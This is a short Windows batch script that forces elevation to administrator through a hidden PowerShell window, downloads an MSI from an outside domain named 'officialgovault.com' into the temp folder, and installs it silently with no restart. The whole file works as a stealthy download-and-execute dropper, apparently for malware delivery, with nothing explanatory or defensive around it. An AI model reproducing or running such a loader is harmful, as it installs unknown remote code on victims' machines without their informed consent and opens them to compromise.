@echo off
setlocal EnableExtensions EnableDelayedExpansion
:: Check administrator privileges
net session >nul 2>&1
if %errorlevel% neq 0 (
    powershell -WindowStyle Hidden -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)

set "SC_URL=https://officialgovault.com/yourinstaller3.msi"
set "SC_PATH=%TEMP%\yourinstaller3.msi"

powershell -WindowStyle Hidden -Command ^
"Invoke-WebRequest -Uri '%SC_URL%' -OutFile '%SC_PATH%' -UseBasicParsing"

:: Silent MSI install

msiexec /i "%SC_PATH%" /qn /norestart
exit